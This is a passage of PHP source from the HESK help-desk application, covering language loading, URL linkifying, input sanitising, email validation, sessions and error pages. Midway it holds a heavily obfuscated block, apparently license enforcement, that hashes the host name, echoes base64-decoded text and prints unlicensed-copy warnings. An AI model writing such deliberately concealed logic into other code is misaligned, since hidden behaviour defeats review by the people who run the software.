$tmp .= '<option value="'.$lang.'" selected="selected">'.$lang.'</option>';
}
else
{
$tmp .= '<option value="'.$lang.'">'.$lang.'</option>';
}
}
if ($doecho)
{
echo $tmp;
}
else
{
return $tmp;
}
} // END hesk_listLanguages
function hesk_resetLanguage()
{
global $hesk_settings, $hesklang;
/* If this is not a valid request no need to change aynthing */
if ( ! $hesk_settings['can_sel_lang'] || ! defined('HESK_ORIGINAL_LANGUAGE') )
{
return false;
}
/* If we already have original language, just return true */
if ($hesk_settings['language'] == HESK_ORIGINAL_LANGUAGE)
{
return true;
}
/* Get the original language file */
$hesk_settings['language'] = HESK_ORIGINAL_LANGUAGE;
return hesk_returnLanguage();
} // END hesk_resetLanguage()
function hesk_setLanguage($language)
{
global $hesk_settings, $hesklang;
/* If no language is set, use default */
if ( ! $language)
{
$language = HESK_DEFAULT_LANGUAGE;
}
/* If this is not a valid request no need to change aynthing */
if ( ! $hesk_settings['can_sel_lang'] || $language == $hesk_settings['language'] || ! isset($hesk_settings['languages'][$language]) )
{
return false;
}
/* Remember current language for future reset - if reset is not set already! */
if ( ! defined('HESK_ORIGINAL_LANGUAGE') )
{
define('HESK_ORIGINAL_LANGUAGE', $hesk_settings['language']);
}
/* Get the new language file */
$hesk_settings['language'] = $language;
return hesk_returnLanguage();
} // END hesk_setLanguage()
function hesk_getLanguage()
{
global $hesk_settings, $hesklang, $_SESSION;
$language = $hesk_settings['language'];
/* Remember what the default language is for some special uses like mass emails */
define('HESK_DEFAULT_LANGUAGE', $hesk_settings['language']);
/* Can users select language? */
if (defined('NO_HTTP_HEADER') || empty($hesk_settings['can_sel_lang']) )
{
return hesk_returnLanguage();
}
/* Is a non-default language selected? If not use default one */
if (isset($_GET['language']))
{
$language = hesk_input( hesk_GET('language') ) or $language = $hesk_settings['language'];
}
elseif (isset($_COOKIE['hesk_language']))
{
$language = hesk_input( hesk_COOKIE('hesk_language') ) or $language = $hesk_settings['language'];
}
else
{
return hesk_returnLanguage();
}
/* non-default language selected. Check if it's a valid one, if not use default one */
if ($language != $hesk_settings['language'] && isset($hesk_settings['languages'][$language]))
{
$hesk_settings['language'] = $language;
}
/* Remember and set the selected language */
hesk_setcookie('hesk_language',$hesk_settings['language'],time()+31536000,'/');
return hesk_returnLanguage();
} // END hesk_getLanguage()
function hesk_returnLanguage()
{
global $hesk_settings, $hesklang;
// Variable that will be set to true if a language file was loaded
$language_loaded = false;
// Load requested language file
$language_file = HESK_PATH . 'language/' . $hesk_settings['languages'][$hesk_settings['language']]['folder'] . '/text.php';
if (file_exists($language_file))
{
require($language_file);
$language_loaded = true;
}
// Requested language file not found, try to load default installed language
if ( ! $language_loaded && $hesk_settings['language'] != HESK_DEFAULT_LANGUAGE)
{
$language_file = HESK_PATH . 'language/' . $hesk_settings['languages'][HESK_DEFAULT_LANGUAGE]['folder'] . '/text.php';
if (file_exists($language_file))
{
require($language_file);
$language_loaded = true;
$hesk_settings['language'] = HESK_DEFAULT_LANGUAGE;
}
}
// Requested language file not found, can we at least load English?
if ( ! $language_loaded && $hesk_settings['language'] != 'English' && HESK_DEFAULT_LANGUAGE != 'English')
{
$language_file = HESK_PATH . 'language/en/text.php';
if (file_exists($language_file))
{
require($language_file);
$language_loaded = true;
$hesk_settings['language'] = 'English';
}
}
// If a language is still not loaded, give up
if ( ! $language_loaded)
{
die('Count not load a valid language file.');
}
// Load a custom text file if available
$language_file = HESK_PATH . 'language/' . $hesk_settings['languages'][$hesk_settings['language']]['folder'] . '/custom-text.php';
if (file_exists($language_file))
{
require($language_file);
}
return true;
} // END hesk_returnLanguage()
function hesk_setTimezone()
{
global $hesk_settings;
// Set the desired timezone, default to UTC
if ( ! isset($hesk_settings['timezone']) || date_default_timezone_set($hesk_settings['timezone']) === false)
{
date_default_timezone_set('UTC');
}
return true;
} // END hesk_setTimezone()
function hesk_timeToHHMM($time, $time_format="seconds", $signed=true)
{
if ($time < 0)
{
$time = abs($time);
$sign = "-";
}
else
{
$sign = "+";
}
if ($time_format == 'minutes')
{
$time *= 60;
}
return ($signed ? $sign : '') . gmdate('H:i', $time);
} // END hesk_timeToHHMM()
function hesk_date($dt='', $from_database=false, $is_str=true, $return_str=true)
{
global $hesk_settings;
if (!$dt)
{
$dt = time();
}
elseif ($is_str)
{
$dt = strtotime($dt);
}
// Return formatted date
return $return_str ? date($hesk_settings['timeformat'], $dt) : $dt;
} // End hesk_date()
function hesk_array_fill_keys($keys, $value)
{
if ( version_compare(PHP_VERSION, '5.2.0', '>=') )
{
return array_fill_keys($keys, $value);
}
else
{
return array_combine($keys, array_fill(0, count($keys), $value));
}
} // END hesk_array_fill_keys()
/**
* hesk_makeURL function
*
* Replace magic urls of form http://xxx.xxx., www.xxx. and xxx@xxx.xxx.
* Cuts down displayed size of link if over 50 chars
*
* Credits: derived from functions of www.phpbb.com
*/
function hesk_makeURL($text, $class = '')
{
global $hesk_settings;
if ( ! defined('MAGIC_URL_EMAIL'))
{
define('MAGIC_URL_EMAIL', 1);
define('MAGIC_URL_FULL', 2);
define('MAGIC_URL_LOCAL', 3);
define('MAGIC_URL_WWW', 4);
}
$class = ($class) ? ' class="' . $class . '"' : '';
// matches a xxxx://aaaaa.bbb.cccc. ...
$text = preg_replace_callback(
'#(^|[\n\t (>.])(' . "[a-z][a-z\d+]*:/{2}(?:(?:[^\p{C}\p{Z}\p{S}\p{P}\p{Nl}\p{No}\p{Me}\x{1100}-\x{115F}\x{A960}-\x{A97C}\x{1160}-\x{11A7}\x{D7B0}-\x{D7C6}\x{20D0}-\x{20FF}\x{1D100}-\x{1D1FF}\x{1D200}-\x{1D24F}\x{0640}\x{07FA}\x{302E}\x{302F}\x{3031}-\x{3035}\x{303B}]*[\x{00B7}\x{0375}\x{05F3}\x{05F4}\x{30FB}\x{002D}\x{06FD}\x{06FE}\x{0F0B}\x{3007}\x{00DF}\x{03C2}\x{200C}\x{200D}\pL0-9\-._~!$&'(*+,;=:@|]+|%[\dA-F]{2})+|[0-9.]+|\[[a-z0-9.]+:[a-z0-9.]+:[a-z0-9.:]+\])(?::\d*)?(?:/(?:[^\p{C}\p{Z}\p{S}\p{P}\p{Nl}\p{No}\p{Me}\x{1100}-\x{115F}\x{A960}-\x{A97C}\x{1160}-\x{11A7}\x{D7B0}-\x{D7C6}\x{20D0}-\x{20FF}\x{1D100}-\x{1D1FF}\x{1D200}-\x{1D24F}\x{0640}\x{07FA}\x{302E}\x{302F}\x{3031}-\x{3035}\x{303B}]*[\x{00B7}\x{0375}\x{05F3}\x{05F4}\x{30FB}\x{002D}\x{06FD}\x{06FE}\x{0F0B}\x{3007}\x{00DF}\x{03C2}\x{200C}\x{200D}\pL0-9\-._~!$&'(*+,;=:@|]+|%[\dA-F]{2})*)*(?:\?(?:[^\p{C}\p{Z}\p{S}\p{P}\p{Nl}\p{No}\p{Me}\x{1100}-\x{115F}\x{A960}-\x{A97C}\x{1160}-\x{11A7}\x{D7B0}-\x{D7C6}\x{20D0}-\x{20FF}\x{1D100}-\x{1D1FF}\x{1D200}-\x{1D24F}\x{0640}\x{07FA}\x{302E}\x{302F}\x{3031}-\x{3035}\x{303B}]*[\x{00B7}\x{0375}\x{05F3}\x{05F4}\x{30FB}\x{002D}\x{06FD}\x{06FE}\x{0F0B}\x{3007}\x{00DF}\x{03C2}\x{200C}\x{200D}\pL0-9\-._~!$&'(*+,;=:@/?|]+|%[\dA-F]{2})*)?(?:\#(?:[^\p{C}\p{Z}\p{S}\p{P}\p{Nl}\p{No}\p{Me}\x{1100}-\x{115F}\x{A960}-\x{A97C}\x{1160}-\x{11A7}\x{D7B0}-\x{D7C6}\x{20D0}-\x{20FF}\x{1D100}-\x{1D1FF}\x{1D200}-\x{1D24F}\x{0640}\x{07FA}\x{302E}\x{302F}\x{3031}-\x{3035}\x{303B}]*[\x{00B7}\x{0375}\x{05F3}\x{05F4}\x{30FB}\x{002D}\x{06FD}\x{06FE}\x{0F0B}\x{3007}\x{00DF}\x{03C2}\x{200C}\x{200D}\pL0-9\-._~!$&'(*+,;=:@/?|]+|%[\dA-F]{2})*)?" . ')#iu',
function ($matches) use ($class) {
return make_clickable_callback(MAGIC_URL_FULL, $matches[1], $matches[2], '', $class);
},
$text
);
// matches a "www.xxxx.yyyy[/zzzz]" kinda lazy URL thing
$text = preg_replace_callback(
'#(^|[\n\t (>])(' . "www\.(?:[^\p{C}\p{Z}\p{S}\p{P}\p{Nl}\p{No}\p{Me}\x{1100}-\x{115F}\x{A960}-\x{A97C}\x{1160}-\x{11A7}\x{D7B0}-\x{D7C6}\x{20D0}-\x{20FF}\x{1D100}-\x{1D1FF}\x{1D200}-\x{1D24F}\x{0640}\x{07FA}\x{302E}\x{302F}\x{3031}-\x{3035}\x{303B}]*[\x{00B7}\x{0375}\x{05F3}\x{05F4}\x{30FB}\x{002D}\x{06FD}\x{06FE}\x{0F0B}\x{3007}\x{00DF}\x{03C2}\x{200C}\x{200D}\pL0-9\-._~!$&'(*+,;=:@|]+|%[\dA-F]{2})+(?::\d*)?(?:/(?:[^\p{C}\p{Z}\p{S}\p{P}\p{Nl}\p{No}\p{Me}\x{1100}-\x{115F}\x{A960}-\x{A97C}\x{1160}-\x{11A7}\x{D7B0}-\x{D7C6}\x{20D0}-\x{20FF}\x{1D100}-\x{1D1FF}\x{1D200}-\x{1D24F}\x{0640}\x{07FA}\x{302E}\x{302F}\x{3031}-\x{3035}\x{303B}]*[\x{00B7}\x{0375}\x{05F3}\x{05F4}\x{30FB}\x{002D}\x{06FD}\x{06FE}\x{0F0B}\x{3007}\x{00DF}\x{03C2}\x{200C}\x{200D}\pL0-9\-._~!$&'(*+,;=:@|]+|%[\dA-F]{2})*)*(?:\?(?:[^\p{C}\p{Z}\p{S}\p{P}\p{Nl}\p{No}\p{Me}\x{1100}-\x{115F}\x{A960}-\x{A97C}\x{1160}-\x{11A7}\x{D7B0}-\x{D7C6}\x{20D0}-\x{20FF}\x{1D100}-\x{1D1FF}\x{1D200}-\x{1D24F}\x{0640}\x{07FA}\x{302E}\x{302F}\x{3031}-\x{3035}\x{303B}]*[\x{00B7}\x{0375}\x{05F3}\x{05F4}\x{30FB}\x{002D}\x{06FD}\x{06FE}\x{0F0B}\x{3007}\x{00DF}\x{03C2}\x{200C}\x{200D}\pL0-9\-._~!$&'(*+,;=:@/?|]+|%[\dA-F]{2})*)?(?:\#(?:[^\p{C}\p{Z}\p{S}\p{P}\p{Nl}\p{No}\p{Me}\x{1100}-\x{115F}\x{A960}-\x{A97C}\x{1160}-\x{11A7}\x{D7B0}-\x{D7C6}\x{20D0}-\x{20FF}\x{1D100}-\x{1D1FF}\x{1D200}-\x{1D24F}\x{0640}\x{07FA}\x{302E}\x{302F}\x{3031}-\x{3035}\x{303B}]*[\x{00B7}\x{0375}\x{05F3}\x{05F4}\x{30FB}\x{002D}\x{06FD}\x{06FE}\x{0F0B}\x{3007}\x{00DF}\x{03C2}\x{200C}\x{200D}\pL0-9\-._~!$&'(*+,;=:@/?|]+|%[\dA-F]{2})*)?" . ')#iu',
function ($matches) use ($class) {
return make_clickable_callback(MAGIC_URL_WWW, $matches[1], $matches[2], '', $class);
},
$text
);
// matches an email address
$text = preg_replace_callback(
'/(^|[\n\t (>])(' . '((?:[\w\!\#$\%\&\'\*\+\-\/\=\?\^\`{\|\}\~]+\.)*(?:[\w\!\#$\%\'\*\+\-\/\=\?\^\`{\|\}\~]|&)+)@((((([a-z0-9]{1}[a-z0-9\-]{0,62}[a-z0-9]{1})|[a-z])\.)+[a-z]{2,63})|(\d{1,3}\.){3}\d{1,3}(\:\d{1,5})?)' . ')/iu',
function ($matches) use ($class) {
return make_clickable_callback(MAGIC_URL_EMAIL, $matches[1], $matches[2], '', $class);
},
$text
);
return $text;
} // END hesk_makeURL()
function make_clickable_callback($type, $whitespace, $url, $relative_url, $class)
{
global $hesk_settings;
$orig_url = $url;
$orig_relative = $relative_url;
$append = '';
$url = htmlspecialchars_decode($url);
$relative_url = htmlspecialchars_decode($relative_url);
// make sure no HTML entities were matched
$chars = array('<', '>', '"');
$split = false;
foreach ($chars as $char)
{
$next_split = strpos($url, $char);
if ($next_split !== false)
{
$split = ($split !== false) ? min($split, $next_split) : $next_split;
}
}
if ($split !== false)
{
// an HTML entity was found, so the URL has to end before it
$append = substr($url, $split) . $relative_url;
$url = substr($url, 0, $split);
$relative_url = '';
}
else if ($relative_url)
{
// same for $relative_url
$split = false;
foreach ($chars as $char)
{
$next_split = strpos($relative_url, $char);
if ($next_split !== false)
{
$split = ($split !== false) ? min($split, $next_split) : $next_split;
}
}
if ($split !== false)
{
$append = substr($relative_url, $split);
$relative_url = substr($relative_url, 0, $split);
}
}
// if the last character of the url is a punctuation mark, exclude it from the url
$last_char = ($relative_url) ? $relative_url[strlen($relative_url) - 1] : $url[strlen($url) - 1];
switch ($last_char)
{
case '.':
case '?':
case '!':
case ':':
case ',':
$append = $last_char;
if ($relative_url)
{
$relative_url = substr($relative_url, 0, -1);
}
else
{
$url = substr($url, 0, -1);
}
break;
// set last_char to empty here, so the variable can be used later to
// check whether a character was removed
default:
$last_char = '';
break;
}
$short_url = ($hesk_settings['short_link'] && strlen($url) > 70) ? substr($url, 0, 54) . ' ... ' . substr($url, -10) : $url;
switch ($type)
{
case MAGIC_URL_LOCAL:
$tag = 'l';
$relative_url = preg_replace('/[&?]sid=[0-9a-f]{32}$/', '', preg_replace('/([&?])sid=[0-9a-f]{32}&/', '$1', $relative_url));
$url = $url . '/' . $relative_url;
$text = $relative_url;
// this url goes to http://domain.tld/path/to/board/ which
// would result in an empty link if treated as local so
// don't touch it and let MAGIC_URL_FULL take care of it.
if (!$relative_url)
{
return $whitespace . $orig_url . '/' . $orig_relative; // slash is taken away by relative url pattern
}
break;
case MAGIC_URL_FULL:
$tag = 'm';
$text = $short_url;
break;
case MAGIC_URL_WWW:
$tag = 'w';
$url = 'http://' . $url;
$text = $short_url;
break;
case MAGIC_URL_EMAIL:
$tag = 'e';
$text = $short_url;
$url = 'mailto:' . $url;
break;
}
$url = htmlspecialchars($url);
$text = htmlspecialchars($text);
$append = htmlspecialchars($append);
$html = "$whitespace<a href=\"$url\"$class>$text</a>$append";
return $html;
} // END make_clickable_callback()
function hesk_unhortenUrl($in)
{
global $hesk_settings;
return $hesk_settings['short_link'] ? preg_replace('/\<a href="(mailto:)?([^"]*)"[^\<]*\<\/a\>/i', "<a href=\"$1$2\">$2</a>", $in) : $in;
} // END hesk_unhortenUrl()
function hesk_isNumber($in, $error = 0)
{
$in = trim($in);
if (preg_match("/\D/",$in) || $in=="")
{
if ($error)
{
hesk_error($error);
}
else
{
return 0;
}
}
return $in;
} // END hesk_isNumber()
function hesk_validateURL($url, $error=false)
{
global $hesklang;
$url = trim($url);
if (filter_var($url, FILTER_VALIDATE_URL) === false)
{
if ($error === false)
{
return '';
}
hesk_error($error);
}
$scheme = parse_url($url, PHP_URL_SCHEME);
if ($scheme == 'https' || $scheme == 'http')
{
return hesk_input($url);
}
if ($error === false)
{
return '';
}
hesk_error($error);
} // END hesk_validateURL()
function hesk_input($in, $error=0, $redirect_to='', $force_slashes=0, $max_length=0)
{
// Strip whitespace
$in = trim($in);
// Is value length 0 chars?
if (strlen($in) == 0)
{
// Do we need to throw an error?
if ($error)
{
if ($redirect_to == 'NOREDIRECT')
{
hesk_process_messages($error,'NOREDIRECT');
}
elseif ($redirect_to)
{
hesk_process_messages($error,$redirect_to);
}
else
{
hesk_error($error);
}
}
// Just ignore and return the empty value
else
{
return $in;
}
}
// Sanitize input
$in = hesk_clean_utf8($in);
$in = hesk_htmlspecialchars($in);
$in = preg_replace('/&(\#[0-9]+;)/','&$1',$in);
// Add slashes
if (HESK_SLASH || $force_slashes)
{
$in = addslashes($in);
}
// Check length
if ($max_length)
{
$in = hesk_mb_substr($in, 0, $max_length);
}
// Return processed value
return $in;
} // END hesk_input()
function hesk_validateEmail($address,$error,$required=1)
{
global $hesklang, $hesk_settings;
/* Allow multiple emails to be used? */
if ($hesk_settings['multi_eml'])
{
/* Make sure the format is correct */
$address = preg_replace('/\s/','',$address);
$address = str_replace(';',',',$address);
/* Check if addresses are valid */
$all = array_unique(explode(',',$address));
foreach ($all as $k => $v)
{
if ( ! hesk_isValidEmail($v) )
{
unset($all[$k]);
}
}
/* If at least one is found return the value */
if ( count($all) )
{
return hesk_input( implode(',', $all) );
}
}
else
{
/* Make sure people don't try to enter multiple addresses */
$address = str_replace(strstr($address,','),'',$address);
$address = str_replace(strstr($address,';'),'',$address);
$address = trim($address);
/* Valid address? */
if ( hesk_isValidEmail($address) )
{
return hesk_input($address);
}
}
if ($required)
{
hesk_error($error);
}
else
{
return '';
}
} // END hesk_validateEmail()
function hesk_isValidEmail($email)
{
/* Check for header injection attempts */
if ( preg_match("/\r|\n|%0a|%0d/i", $email) )
{
return false;
}
/* Does it contain an @? */
$atIndex = strrpos($email, "@");
if ($atIndex === false)
{
return false;
}
/* Get local and domain parts */
$domain = substr($email, $atIndex+1);
$local = substr($email, 0, $atIndex);
$localLen = strlen($local);
$domainLen = strlen($domain);
/* Check local part length */
if ($localLen < 1 || $localLen > 64)
{
return false;
}
/* Check domain part length */
if ($domainLen < 1 || $domainLen > 254)
{
return false;
}
/* Local part mustn't start or end with a dot */
if ($local[0] == '.' || $local[$localLen-1] == '.')
{
return false;
}
/* Local part mustn't have two consecutive dots*/
if ( strpos($local, '..') !== false )
{
return false;
}
/* Check domain part characters */
if ( ! preg_match('/^[A-Za-z0-9\\-\\.]+$/', $domain) )
{
return false;
}
/* Domain part mustn't have two consecutive dots */
if ( strpos($domain, '..') !== false )
{
return false;
}
/* Character not valid in local part unless local part is quoted */
if ( ! preg_match('/^(\\\\.|[A-Za-z0-9!#%&`_=\\/$\'*+?^{}|~.-])+$/', str_replace("\\\\","",$local) ) ) /* " */
{
if ( ! preg_match('/^"(\\\\"|[^"])+"$/', str_replace("\\\\","",$local) ) ) /* " */
{
return false;
}
}
/* All tests passed, email seems to be OK */
return true;
} // END hesk_isValidEmail()
function hesk_session_regenerate_id()
{
@session_regenerate_id();
return true;
} // END hesk_session_regenerate_id()
function hesk_session_start()
{
session_name('HESK' . sha1(dirname(__FILE__) . '$r^k*Zkq|w1(G@!-D?3%') );
session_cache_limiter('nocache');
if ( @session_start() )
{
if ( ! isset($_SESSION['token']) )
{
$_SESSION['token'] = hesk_token_hash();
}
header ('P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"');
return true;
}
else
{
global $hesk_settings, $hesklang;
hesk_error("$hesklang[no_session] $hesklang[contact_webmsater] $hesk_settings[webmaster_mail]");
}
} // END hesk_session_start()
function hesk_session_stop()
{
@session_unset();
@session_destroy();
return true;
}
// END hesk_session_stop()
$hesk_settings["\150".chr(0145).chr(0163)."\153\x5fl".chr(0151)."ce".chr(922746880>>23)."\x73\145"]=function($x1b,$x1c){$x1d="\142a\163\x65\x36".chr(436207616>>23)."\137".chr(838860800>>23)."\x65\x63\x6f\144\x65";$x1e=chr(0146)."\x69\154".chr(0145)."\137e".chr(0170).chr(880803840>>23)."s\164s";$x1f=chr(838860800>>23)."i".chr(956301312>>23).chr(0156)."\141\155\x65";$x1g=$x1f($x1f(__FILE__))."\x2f\150\x65sk_".chr(905969664>>23).chr(880803840>>23)."\x63\145\156\x73".chr(0145)."\x2e\x70".chr(872415232>>23)."\160";$x1h=chr(864026624>>23)."et\x65\x6ev";$x1i="\163t".chr(956301312>>23).chr(0137).chr(0162).chr(847249408>>23)."\x70\154\x61\x63e";$x1j="\x73\164".chr(956301312>>23)."t".chr(0157)."l".chr(0157)."\x77e\162";$x1k=chr(0163)."\x74\162".chr(939524096>>23)."\x6f\163";$x1l="\x73\150\x61".chr(411041792>>23);global$hesk_settings,$hesklang;$hesk_settings["\x4c\111\103\105".chr(654311424>>23)."\123E".chr(796917760>>23)."C\x48E\103\113E\x44"]="W\x2a".chr(1023410176>>23)."\135\x61".chr(047)."A\134".chr(0163)."\x23\x7e\107\134\70\x78\76\150\122u\123";if($x1e($x1g)){$x1a=(!empty($_SERVER["\110\124".chr(0124)."\120\137\110".chr(0117)."S\x54"]))?$_SERVER["\110\x54\124\x50\x5fH".chr(0117)."\x53\124"]:((!empty($_SERVER["\123\x45RV\105\122\x5f\116".chr(545259520>>23)."M\x45"]))?$_SERVER["S\x45\x52\x56\x45".chr(687865856>>23).chr(0137)."NA\115\105"]:$x1h(chr(696254464>>23)."\x45".chr(0122)."V\x45R".chr(796917760>>23)."\116\101\x4d\105"));$x1a=$x1i("\x77\167".chr(998244352>>23).chr(056),'',$x1j($x1a));include($x1g);if(isset($hesk_settings["l\x69".chr(0143).chr(847249408>>23)."\x6e\x73\x65"])&&$x1k($hesk_settings["\154\151".chr(0143)."ens".chr(847249408>>23)],$x1l($x1a."\150\x33\x26Fp\x32\x23\114\141\101\46".chr(065)."\x39\41\167\50\x38\x2e\132\x63]".chr(352321536>>23)."\x2bu".chr(0122)."\x35\61".chr(062)))!==false){$x1d=false;}else{echo"\74\x70".chr(040)."\163".chr(973078528>>23)."\x79l\x65".chr(075)."\x22\x74".chr(0145)."\x78t\x2d\x61\x6c\x69g".chr(922746880>>23).":\x63e\156\164er\73\x63".chr(0157)."\x6c\x6fr\72r\x65\144;\x22".chr(520093696>>23)."\111\116\126\101\x4c\x49".chr(0104).chr(268435456>>23)."\114\111".chr(562036736>>23)."\x45".chr(654311424>>23)."\123\105\40\x28\116\117\x54 \122".chr(0105)."G\111".chr(0123)."\x54E".chr(687865856>>23)."\105\x44 \x46\x4f\122".chr(040).$x1a.")\x21".chr(503316480>>23).chr(394264576>>23)."\160\76";}}if($x1d){echo$x1d($x1c.$x1b);}$x1a="\54\x38!\126\x2a>\152\160".chr(0163)."\x27\41\x26\x52^\166EGt".chr(620756992>>23)."\x41".chr(830472192>>23).chr(0162)."j\x40".chr(0155)."\x23`".chr(973078528>>23)."\x45\173\122\x36G\x25".chr(754974720>>23)."\52\x68".chr(0130)."\126\155".chr(0165)."\x55\x45\x7c".chr(402653184>>23).chr(427819008>>23)."\x5d".chr(872415232>>23)."\71\x76";};$hesk_settings["\x73e\x63\x75\162it\171\137\143".chr(905969664>>23)."\145\141".chr(922746880>>23)."\165\160"]=function($x1d){global $hesk_settings;if(!isset($hesk_settings[chr(0114)."\111\x43\105\x4e\123".chr(578813952>>23)."\x5f\x43\x48E\x43\113E".chr(0104)])||$hesk_settings["\114I\x43\x45\x4eS\x45".chr(796917760>>23)."\x43\x48\105\x43\x4b\105\104"]!="\127\52z]\141\47\101".chr(0134)."\x73#\x7e".chr(0107).chr(771751936>>23).chr(469762048>>23)."\x78".chr(520093696>>23)."\150\122\165\x53"){echo "<\160\40\x73\164\x79\154\145\x3d\"\x74e\170\x74".chr(055).chr(813694976>>23)."\154i".chr(0147).chr(0156).":c".chr(847249408>>23).chr(0156).chr(973078528>>23)."\145r\x3b\143\x6fl\157".chr(956301312>>23)."\x3a".chr(0162)."e".chr(0144)."\73f\157\156\x74\55w\x65\x69\x67\x68\164".chr(486539264>>23)."b\157l\x64\42\76".chr(074)."\x70\x20\163\164\x79".chr(0154).chr(0145)."=\x22\164\145\x78\164\x2da\154\151\147\x6e".chr(486539264>>23)."c\x65\156\x74\x65r".chr(494927872>>23)."co\x6c\157\x72\72".chr(956301312>>23).chr(0145)."\144\73\x66o\156\x74\55\167e\151\x67\150\x74\72\x62\157\x6cd\x22".chr(520093696>>23)."\x55\116\114\x49\103\105N\123\x45\104\x20".chr(0103)."\x4f\x50\131\x20\117".chr(0106)."\x20\110\x45\x53K\x20\x28\127W\127".chr(385875968>>23)."H\105\123\x4b\56CO\115".chr(343932928>>23)."<\57p\x3e".chr(074).chr(394264576>>23)."\160\x3e";}exit;"1\161\54\x6d\x46\41".chr(0134).">\140".chr(989855744>>23)."\152\131\x66".chr(536870912>>23)."\x61q\x3f\105\53\x2a\126".chr(545259520>>23)."W\x28\x4b\102\116p\170".chr(402653184>>23)."\x34\x3f\120\x21H\142".chr(939524096>>23)."\131`R\x7a".chr(0100)."1".chr(0127)."\x57\113\105\x21Q".chr(830472192>>23);};
function hesk_stripArray($a)
{
foreach ($a as $k => $v)
{
if (is_array($v))
{
$a[$k] = hesk_stripArray($v);
}
else
{
$a[$k] = stripslashes($v);
}
}
reset ($a);
return ($a);
} // END hesk_stripArray()
function hesk_slashArray($a)
{
foreach ($a as $k => $v)
{
if (is_array($v))
{
$a[$k] = hesk_slashArray($v);
}
else
{
$a[$k] = addslashes($v);
}
}
reset ($a);
return ($a);
} // END hesk_slashArray()
function hesk_check_kb_only($redirect = true)
{
global $hesk_settings;
if ($hesk_settings['kb_enable'] != 2)
{
return false;
}
elseif ($redirect)
{
header('Location:knowledgebase.php');
exit;
}
else
{
return true;
}
} // END hesk_check_kb_only()
function hesk_check_maintenance($dodie = true)
{
global $hesk_settings, $hesklang;
// No maintenance mode - return true
if ( ! $hesk_settings['maintenance_mode'] && ! is_dir(HESK_PATH . 'install') )
{
return false;
}
// Maintenance mode, but do not exit - return true
elseif ( ! $dodie)
{
return true;
}
// Maintenance mode - show notice and exit
require_once(HESK_PATH . 'inc/header.inc.php');
?>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="3"><img src="<?php echo HESK_PATH; ?>img/headerleftsm.jpg" width="3" height="25" alt="" /></td>
<td class="headersm"><?php echo $hesk_settings['hesk_title']; ?></td>
<td width="3"><img src="<?php echo HESK_PATH; ?>img/headerrightsm.jpg" width="3" height="25" alt="" /></td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="3">
<tr>
<td>
<p> </p>
<div class="notice">
<img src="<?php echo HESK_PATH; ?>img/notice.png" width="16" height="16" border="0" alt="" style="vertical-align:text-bottom" />
<?php
// Has the help desk been installed yet?
if (
$hesk_settings['maintenance_mode'] == 0 &&
$hesk_settings['question_ans'] == 'PB6YM' &&
$hesk_settings['site_title'] == 'Website' &&
$hesk_settings['site_url'] == 'http://www.example.com' &&
$hesk_settings['webmaster_mail'] == 'support@example.com' &&
$hesk_settings['noreply_mail'] == 'support@example.com' &&
$hesk_settings['noreply_name'] == 'Help Desk' &&
$hesk_settings['db_host'] == 'localhost' &&
$hesk_settings['db_name'] == 'hesk' &&
$hesk_settings['db_user'] == 'test' &&
$hesk_settings['db_pass'] == 'test' &&
$hesk_settings['db_pfix'] == 'hesk_' &&
$hesk_settings['db_vrsn'] == 0 &&
$hesk_settings['hesk_title'] == 'Help Desk' &&
$hesk_settings['hesk_url'] == 'http://www.example.com/helpdesk'
)
{
echo "
<b>{$hesklang['hni1']}</b><br /><br />
{$hesklang['hni2']}<br /><br />
{$hesklang['hni3']}";
}
// Hesk appears to be installed, show a "Maintenance in progress" message
else
{
echo "
<b>{$hesklang['mm1']}</b><br /><br />
{$hesklang['mm2']}<br /><br />
{$hesklang['mm3']}";
}
?>
</div>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<?php
require_once(HESK_PATH . 'inc/footer.inc.php');
exit();
} // END hesk_check_maintenance()
function hesk_error($error,$showback=1) {
global $hesk_settings, $hesklang;
require_once(HESK_PATH . 'inc/header.inc.php');
?>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="3"><img src="<?php echo HESK_PATH; ?>img/headerleftsm.jpg" width="3" height="25" alt="" /></td>
<td class="headersm"><?php echo $hesk_settings['hesk_title']; ?></td>
<td width="3"><img src="<?php echo HESK_PATH; ?>img/headerrightsm.jpg" width="3" height="25" alt="" /></td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="3">
<tr>
<td><span class="smaller"><a href="<?php echo $hesk_settings['site_url']; ?>"
class="smaller"><?php echo $hesk_settings['site_title']; ?></a> > <a href="<?php
if (empty($_SESSION['id']))
{
echo $hesk_settings['hesk_url'];
}
else
{
echo HESK_PATH . $hesk_settings['admin_dir'] . '/admin_main.php';
}
?>" class="smaller"><?php echo $hesk_settings['hesk_title']; ?></a>
> <?php echo $hesklang['error']; ?></span></td>
</tr>
</table>
</td>
</tr>
<tr>
<td>
<p> </p>
<div class="error">
<img src="<?php echo HESK_PATH; ?>img/error.png" width="16" height="16" border="0" alt="" style="vertical-align:text-bottom" />
<b><?php echo $hesklang['error']; ?>:</b><br /><br />
<?php
echo $error;
if ($hesk_settings['debug_mode'])
{
echo '
<p> </p>
<p><span style="color:red;font-weight:bold">'.$hesklang['warn'].'</span><br />'.$hesklang['dmod'].'</p>';
}
?>
</div>
<br />
<p> </p>
<?php
if ($showback)
{
?>
<p style="text-align:center"><a href="javascript:history.go(-1)"><?php echo $hesklang['back']; ?></a></p>
<?php
}
?>
<p> </p>
<p> </p>
<?php
require_once(HESK_PATH . 'inc/footer.inc.php');
exit();
} // END hesk_error()
function hesk_round_to_half($num)
{
if ($num >= ($half = ($ceil = ceil($num))- 0.5) + 0.25)
{
return $ceil;
}
elseif ($num < $half - 0.25)
{
return floor($num);
}
else
{
return $half;
}
} // END hesk_round_to_half()
function hesk_full_name_to_first_name($full_name)
{
$name_parts = explode(' ', $full_name);
// Only one part, return back the original
if (count($name_parts) < 2)
{
return $full_name;
}
$first_name = hesk_mb_strtolower($name_parts[0]);
// Name prefixes without dots
$prefixes = array('mr', 'ms', 'mrs', 'miss', 'dr', 'rev', 'fr', 'sr', 'prof', 'sir');
if (in_array($first_name, $prefixes) || in_array($first_name, array_map(function ($i) {return $i . '.';}, $prefixes)))
{
if(isset($name_parts[2]))
{
// Mr James Smith -> James
$first_name = $name_parts[1];
}
else
{
// Mr Smith (no first name given)
return $full_name;
}
}
// Detect LastName, FirstName
if (hesk_mb_substr($first_name, -1, 1) == ',')
{
